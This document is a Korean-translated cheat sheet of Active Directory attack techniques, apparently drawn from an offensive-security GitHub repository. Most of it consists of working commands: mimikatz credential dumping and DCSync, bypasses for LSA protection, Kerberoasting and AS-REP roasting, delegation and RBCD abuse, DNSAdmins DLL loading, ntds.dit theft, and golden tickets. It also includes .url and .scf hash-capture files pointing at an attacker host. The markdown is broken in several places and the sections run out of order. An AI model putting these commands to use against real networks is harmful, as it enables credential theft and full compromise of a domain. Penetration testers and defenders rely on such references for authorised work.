
Windows Active Directory에 대한 일반적인 열거 및 공격 방법을 포함한 치트 시트입니다.
이 치트 시트는 Windows Active Directory를 위한 일반적인 열거 및 공격 방법을 포함하고 있습니다.
ℹ️ 이 저장소는 Nikos Katsiopis와 Nikos Vourdas에 의해 만들어졌습니다.
이 치트 시트는 PayloadAllTheThings 저장소에서 영감을 받았습니다.

Powerview v.3.0
Powerview Wiki
현재 도메인 가져오기: Get-Domain
다른 도메인 열거: Get-Domain -Domain <DomainName>
도메인 SID 가져오기: Get-DomainSID
도메인 정책 가져오기: ```powershell Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
도메인 컨트롤러 가져오기: ```powershell Get-DomainController Get-DomainController -Domain
도메인 사용자 열거: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
#Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List
#Enumerate user logged on a machine Get-NetLoggedon -ComputerName
#Enumerate Session Information for a machine Get-NetSession -ComputerName
#Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName
도메인 컴퓨터 열거: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
#Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
❗ 도메인 관리자로 권한 상승 및 사용자 헌팅:
특정 시스템에 로컬 관리자 권한이 있음 -> 해당 시스템에 도메인 관리자 세션이 존재함 -> 그의 토큰을 탈취하여 가장(impersonate)함 -> 성공!
현재 도메인 가져오기: Get-ADDomain
다른 도메인 열거: Get-ADDomain -Identity <Domain>
도메인 SID 가져오기: Get-DomainSID
도메인 컨트롤러 가져오기: ```powershell Get-ADDomainController Get-ADDomainController -Identity
도메인 사용자 열거: ```powershell Get-ADUser -Filter * -Identity -Properties *
#Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description
도메인 컴퓨터 열거: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *
도메인 신뢰 열거: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity
Enum Forest Trust: ```powershell Get-ADForest Get-ADForest -Identity
#Domains of Forest Enumeration (Get-ADForest).Domains
로컬 AppLocker 유효 정책 열거: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Python BloodHound 저장소 또는 pip3 install bloodhound로 설치```powershell
bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All
#### 현장 BloodHound```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>
./adalanche collect activedirectory --domain
--username Username@Domain --password
--server
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic
./adalanche analyze
#### 열거된 개체 내보내기
모든 모듈/cmdlet에서 열거된 개체를 XML 파일로 내보내 나중에 분석할 수 있습니다.
`Export-Clixml` cmdlet은 개체 또는 개체들의 CLI(공용 언어 인프라) 기반 XML 표현을 생성하여 파일에 저장합니다. 그런 다음 `Import-Clixml` cmdlet을 사용하여 해당 파일의 내용을 기반으로 저장된 개체를 다시 만들 수 있습니다.```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml
# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml
# You can now apply any condition, filters, etc.
$DomainUsers | select name
$DomainUsers | ? {$_.name -match "User's Name"}
Windows Local Privilege Escalation Cookbook Windows 로컬 권한 상승을 위한 요리책
Juicy Potato SeImpersonate 또는 SeAssignPrimaryToken 권한을 악용하여 시스템 가장
⚠️ Windows Server 2016 및 패치 1803 이전의 Windows 10에서만 작동
Lovely Potato 자동화된 Juicy Potato
⚠️ Windows Server 2016 및 패치 1803 이전의 Windows 10에서만 작동
PrintSpoofer PrinterBug를 악용하여 시스템 가장
🙏 Windows Server 2019 및 Windows 10에서 작동
RoguePotato 업그레이드된 Juicy Potato
🙏 Windows Server 2019 및 Windows 10에서 작동
#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting
#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions
### PS 자격 증명을 사용한 원격 코드 실행```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}
#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess
#Interact with the session Enter-PSSession -Session $sess
### 원격 상태 저장 명령 실행```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>
#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}
#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}
#The commands are in cobalt strike format!
#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:
#List all available kerberos tickets in memory mimikatz sekurlsa::tickets
#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg
#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys mimikatz sekurlsa::ekeys
#Dump SAM Database mimikatz lsadump::sam
#Dump SECRETS Database mimikatz lsadump::secrets
#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject
#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all
#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history
#List and Dump local kerberos credentials mimikatz kerberos::list /dump
#Pass The Ticket mimikatz kerberos::ptt
#List TS/RDP sessions mimikatz ts::sessions
#List Vault credentials mimikatz vault::list
:exclamation: mimikatz가 LSA 보호 제어로 인해 자격 증명을 덤프하지 못하면 어떻게 될까요?
- 보호된 프로세스로서의 LSA (커널 영역 우회) ```powershell
#Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz # !+
#Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
LSA를 보호된 프로세스로 실행(사용자 영역 "파일리스" 우회)
Credential Guard에 의해 LSA가 가상화된 프로세스(LSAISO)로 실행됨 ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso
#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
횡적 이동을 원하는 호스트에 "RestrictedAdmin"이 활성화되어 있으면, RDP 프로토콜을 사용하여 해시를 전달하고 일반 텍스트 비밀번호 없이 대화형 세션을 얻을 수 있습니다.
Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"
#Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>
:⚠️ 원격 머신에서 제한된 관리자 모드가 비활성화된 경우, psexec나 winrm과 같은 다른 도구/프로토콜을 사용하여 호스트에 연결하고 다음 레지스트리 키를 생성한 후 값을 0으로 설정하여 활성화할 수 있습니다: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".
- "단일 사용자당 단일 세션" 제한 우회
도메인 컴퓨터에서 시스템 또는 로컬 관리자 권한으로 명령 실행이 가능하고 다른 사용자가 이미 사용 중인 RDP 세션을 사용하려는 경우, 다음 레지스트리 키를 추가하여 단일 세션 제한을 우회할 수 있습니다:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0
원하는 작업을 완료한 후에는 키를 삭제하여 사용자당 단일 세션 제한을 다시 적용할 수 있습니다.```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse
### URL 파일 공격
- .url 파일 ```
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<AttackersIp>\%USERNAME%.icon
IconIndex=1
(입력된 콘텐츠가 없습니다. 번역할 마크다운 내용을 제공해 주세요.) ``` [InternetShortcut] URL=file:///leak/leak.html
- .scf 파일 ```
[Shell]
Command=2
IconFile=\\<AttackersIp>\Share\test.ico
[Taskbar]
Command=ToggleDesktop
이 파일들을 쓰기 가능한 공유 디렉터리에 두면, 피해자는 파일 탐색기를 열고 해당 공유 디렉터리로 이동하기만 하면 됩니다. 참고: 파일을 열거나 사용자가 상호작용할 필요는 없지만, 렌더링되려면 파일 시스템의 최상위 또는 Windows 탐색기 창에서 보이는 위치에 있어야 합니다. 해시를 캡처하려면 responder를 사용하세요.
❗ .scf 파일 공격은 최신 버전의 Windows에서는 작동하지 않습니다.
이게 뭐야?:
모든 표준 도메인 사용자는 모든 서비스 계정과 그에 해당하는 비밀번호 해시의 사본을 요청할 수 있습니다. 따라서 "사용자" 계정에 바인딩된 SPN에 대해 TGS를 요청하여, 사용자의 비밀번호로 암호화된 암호화된 blob을 추출하고 오프라인에서 무차별 대입 공격을 수행할 수 있습니다.
PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN
#Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast
#Requesting the TGS for a single account: Request-SPNTicket
#Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'
AD Module: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Impacket: ```powershell python GetUserSPNs.py /: -outputfile
Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec
#Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes
#Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple
#Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:
이게 뭐야?:
도메인 사용자 계정이 Kerberos 사전 인증을 요구하지 않는 경우, 도메인 자격 증명 없이도 해당 계정에 대한 유효한 TGT를 요청하고, 암호화된
블롭을 추출하여 오프라인에서 무차별 대입 공격을 수행할 수 있습니다.
Get-DomainUser -PreauthNotRequired -VerboseGet-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth쓰기 권한 이상이 있는 계정에서 Kerberos 사전 인증을 강제로 비활성화하세요! 계정에 대한 흥미로운 권한을 확인하세요:
힌트: RDPUsers와 같은 필터를 추가하여 시스템 계정이 아닌 "사용자 계정"을 가져옵니다. 시스템 계정 해시는 크랙할 수 없기 때문입니다!
PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose
- 그리고 마지막으로 [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) 도구를 사용하여 공격을 실행합니다. ```powershell
#Get a specific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose
#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose
Rubeus 사용: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:
#ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:
#ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:
Impacket 사용: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile
사용자 계정을 손상시켜 몇몇 패스워드를 수집했다면, 이 방법을 사용하여 다른 도메인 계정에서 패스워드 재사용을 시도하고 악용할 수 있습니다.
도구:
이게 뭐지 ?: 충분한 권한(GenericAll/GenericWrite)이 있다면 대상 계정에 SPN을 설정하고, TGS를 요청한 후, 그 블롭을 가져와 무차별 대입 공격을 할 수 있습니다.
PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
#Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname
#Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}
AD 모듈: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName
#Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}
마지막으로 이전의 도구를 사용하여 해시를 가져와 kerberoast 하세요!
머신에서 로컬 관리자 권한이 있다면 섀도 복사본을 나열해 보세요, 이는 도메인 권한 상승을 위한 쉬운 방법입니다.```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows
#List shadow copies using diskshadow diskshadow list shadows all
#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
1. 백업된 SAM 데이터베이스를 덤프하여 자격 증명을 수집할 수 있습니다.
2. DPAPI에 저장된 자격 증명을 찾아 복호화합니다.
3. 백업된 민감한 파일에 접근합니다.
### Mimikatz를 사용하여 저장된 자격 증명 나열 및 복호화
일반적으로 암호화된 자격 증명은 다음 위치에 저장됩니다:
- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"
#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc
#We now have the masterkey in our local cache:
dpapi::cache
#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
자세한 문서: DPAPI 모든 것
이게 뭐지?: 무제한 위임이 활성화된 머신에 관리자 액세스 권한이 있다면, 높은 가치의 대상이나 DA가 연결될 때까지 기다렸다가 그의 TGT를 훔친 다음 ptt를 수행하여 그를 가장할 수 있습니다!
PowerView 사용:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained
#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'
#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose
#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'
**참고:** Rubeus를 사용할 수도 있습니다!
### 제한된 위임
PowerView와 Kekeo 사용:```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>
#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>
#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
대안: Rubeus 사용:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt
Now we can access the service as the impersonated user!
:triangular_flag_on_post: **특정 SPN(예: TIME)에만 위임 권한이 있는 경우는 어떨까요?**
이 경우에도 kerberos의 "대체 서비스(alternative service)" 기능을 남용할 수 있습니다. 이를 통해 위임 권한이 있는 서비스뿐만 아니라 다른 "대체" 서비스를 위해 TGS 티켓을 요청할 수 있습니다. 이렇게 하면 대상 호스트가 지원하는 모든 서비스에 대해 유효한 티켓을 요청할 수 있어 대상 머신에 대한 완전한 액세스 권한을 얻을 수 있습니다.
### 리소스 기반 제한 위임(Resource Based Constrained Delegation)
_이게 뭐냐?: \ TL;DR \
도메인의 머신 계정 객체에 대해 GenericALL/GenericWrite 권한이 있는 경우, 이를 악용하여 도메인의 모든 사용자로 가장하여 액세스할 수 있습니다. 예를 들어 Domain Administrator로 가장하여 완전한 액세스 권한을 얻을 수 있습니다._
사용할 도구:
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)
먼저 대상 객체에 대한 권한이 있는 사용자/머신 계정의 보안 컨텍스트로 진입해야 합니다.
사용자 계정인 경우 Pass the Hash, RDP, PSCredentials 등을 사용할 수 있습니다.
익스플로잇 예시:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid
#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'
#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
상세 문서:
❗ 제한 위임 및 리소스 기반 제한 위임에서 남용하려는 TRUSTED_TO_AUTH_FOR_DELEGATION 계정의 비밀번호/해시가 없는 경우, kekeo의 "tgt::deleg" 또는 rubeus의 "tgtdeleg"라는 아주 좋은 트릭을 사용하여 Kerberos를 속여 해당 계정에 대한 유효한 TGT를 얻을 수 있습니다. 그런 다음 계정의 해시 대신 티켓을 사용하여 공격을 수행합니다.```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap
Detailed Article:
[Rubeus – 이제 더 많은 Kekeo 기능 포함](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)
### DNSAdmins 악용
_WUT IS DIS ?: 사용자가 DNSAdmins 그룹의 구성원인 경우, dns.exe의 권한으로 SYSTEM으로 실행되는 임의의 DLL을 로드할 가능성이 있습니다. DC가 DNS를 제공하는 경우, 사용자는 자신의 권한을 DA로 상승시킬 수 있습니다. 이 익스플로잇 과정은 DNS 서비스를 다시 시작할 권한이 필요합니다._
1. DNSAdmins 그룹의 구성원을 열거합니다:
- PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
- AD Module: `Get-ADGroupMember -Identiny DNSAdmins`
2. 이 그룹의 구성원을 찾은 후에는 이를 장악해야 합니다 (여러 방법이 있습니다).
3. 그런 다음 SMB 공유에 악성 DLL을 제공하고 dll 사용을 구성함으로써,권한을 상승시킬 수 있습니다: ```powershell
#Using dnscmd:
dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
#Restart the DNS Service:
sc \\DNSServer stop dns
sc \\DNSServer start dns
WUT IS DIS ?: 만약 Backup Operators 그룹의 구성원인 사용자 계정을 손상시키면, 해당 계정의 SeBackupPrivilege를 악용하여 DC의 현재 상태에 대한 섀도 복사본을 만들고, ntds.dit 데이터베이스 파일을 추출하며, 해시를 덤프하여 권한을 DA로 승격할 수 있습니다.
SeBackupPrivilege가 있는 계정에 접근할 수 있게 되면, DC에 접근하여 서명된 바이너리 diskshadow를 사용하여 섀도 복사본을 만들 수 있습니다. ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive
create
expose %mydrive% w: end backup }
#Execute diskshadow with our script as parameter diskshadow /s script.txt
이제 섀도 복사본에 접근해야 합니다. SeBackupPrivilege가 있을 수 있지만 ntds.dit를 단순히 복사-붙여넣기 할 수는 없습니다. 백업 소프트웨어를 모방하고 Win32 API 호출을 사용하여 접근 가능한 폴더에 복사해야 합니다. 이를 위해 이것 훌륭한 저장소를 사용할 것입니다: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll
#Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege
#If it isn't we enable it Set-SeBackupPrivilege
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit -Overwrite
#Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive
impacket의 smbclient.py 또는 다른 도구를 사용하여 ntds.dit과 SYSTEM 하이브를 로컬 머신에 복사합니다.
impacket의 secretsdump.py를 사용하여 해시를 덤프합니다.
psexec 또는 선택한 다른 도구를 사용하여 PTH를 수행하고 도메인 관리자 접근권한을 얻습니다.
이게 뭔가요?: 포리스트의 자식 도메인을 손상시키고 SID 필터링이 활성화되지 않은 경우(대부분 그렇습니다), 이를 악용하여 포리스트의 루트 도메인의 도메인 관리자로 권한 상승할 수 있습니다. 이는 Kerberos TGT 티켓의 SID 기록 필드가 "추가" 보안 그룹과 권한을 정의하기 때문에 가능합니다.
공격 예시:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local
#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local
#Create the Enteprise Admins SID Format: RootDomainSID-519
#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi
#List the DC of the Root Domain dir \dc.root.domain.local\C$
#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all
상세 문서:
- [Kerberos 골든 티켓이 이제 더욱 골드해졌습니다](https://adsecurity.org/?p=1640)
- [도메인 신뢰 공격 가이드](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
### SharePoint 익스플로잇
- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) RCE 익스플로잇 \
[PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) BDC 역직렬화를 통한 코드 실행
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) typeconverter를 이용한 RCE \
[PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)
### Zerologon
- [Zerologon: Unauthenticated domain controller compromise](https://www.secura.com/whitepapers/zerologon-whitepaper): 취약점에 대한 백서.
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): Zerologon 익스플로잇의 C# 구현.
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): Zerologon 익스플로잇의 PowerShell 구현.
- [Zer0Dump](https://github.com/bb00/zer0dump): impacket 라이브러리를 사용한 Zerologon 익스플로잇의 Python 구현.
### PrintNightmare
- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): 취약점 세부 정보.
- [Impacket을 사용한 PrintNightmare 구현](https://github.com/cube0x0/CVE-2021-1675): impacket 라이브러리를 사용한 신뢰할 수 있는 PrintNightmare PoC.
- [CVE-2021-1675의 C# 구현](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): C#으로 작성된 신뢰할 수 있는 PrintNightmare PoC.
### Active Directory 인증서 서비스
**취약한 인증서 템플릿 확인:** [Certify](https://github.com/GhostPack/Certify)
_참고: Certify는 Cobalt Strike의 `execute-assembly` 명령으로도 실행할 수 있습니다_```powershell
.\Certify.exe find /vulnerable /quiet
msPKI-Certificates-Name-Flag 값이 "ENROLLEE_SUPPLIES_SUBJECT"로 설정되어 있고, 등록 권한(Enrollment Rights)이 도메인/인증된 사용자(Domain/Authenticated Users)를 허용하는지 확인하십시오. 또한, pkiextendedkeyusage 매개변수에 "클라이언트 인증(Client Authentication)" 값이 포함되어 있고, "필수 서명 권한(Authorized Signatures Required)" 매개변수가 0으로 설정되어 있는지 확인하십시오.
이 익스플로잇은 이러한 설정이 서버/클라이언트 인증을 활성화하기 때문에 작동하며, 공격자가 도메인 관리자(DA)의 UPN을 지정하고 캡처된 인증서를 Rubeus와 함께 사용하여 인증을 위조할 수 있음을 의미합니다.
참고: 도메인 관리자가 보호된 사용자(Protected Users) 그룹에 속해 있는 경우 익스플로잇이 의도한 대로 작동하지 않을 수 있습니다. 대상으로 삼을 DA를 선택하기 전에 확인하십시오.
Certify를 사용하여 DA의 계정 인증서를 요청하십시오.```powershell .\Certify.exe request /template:
열거 그룹 및 그룹 구성원: ```powershell #Save all Domain Groups to a file: Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt
#Return members of Specific Group (eg. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName
#Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine Get-NetLocalGroup | Select-Object GroupName
#Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
#Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
공유 열거: ```powershell #Enumerate Domain Shares Find-DomainShare
#Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess
#Enumerate "Interesting" Files on accessible shares Find-InterestingDomainShareFile -Include passwords
그룹 정책 열거: ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
#Enumerate all GPOs to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName
#Get users that are part of a Machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName
열거 OUs: ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name
ACLs 열거: ```powershell
Get-DomainObjectAcl -Identity -ResolveGUIDs
#Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs
#Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\Path\Of\A\Share"
도메인 트러스트 열거: ```powershell Get-DomainTrust Get-DomainTrust -Domain
#Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping
포리스트 트러스트 열거: ```powershell Get-ForestDomain Get-ForestDomain -Forest
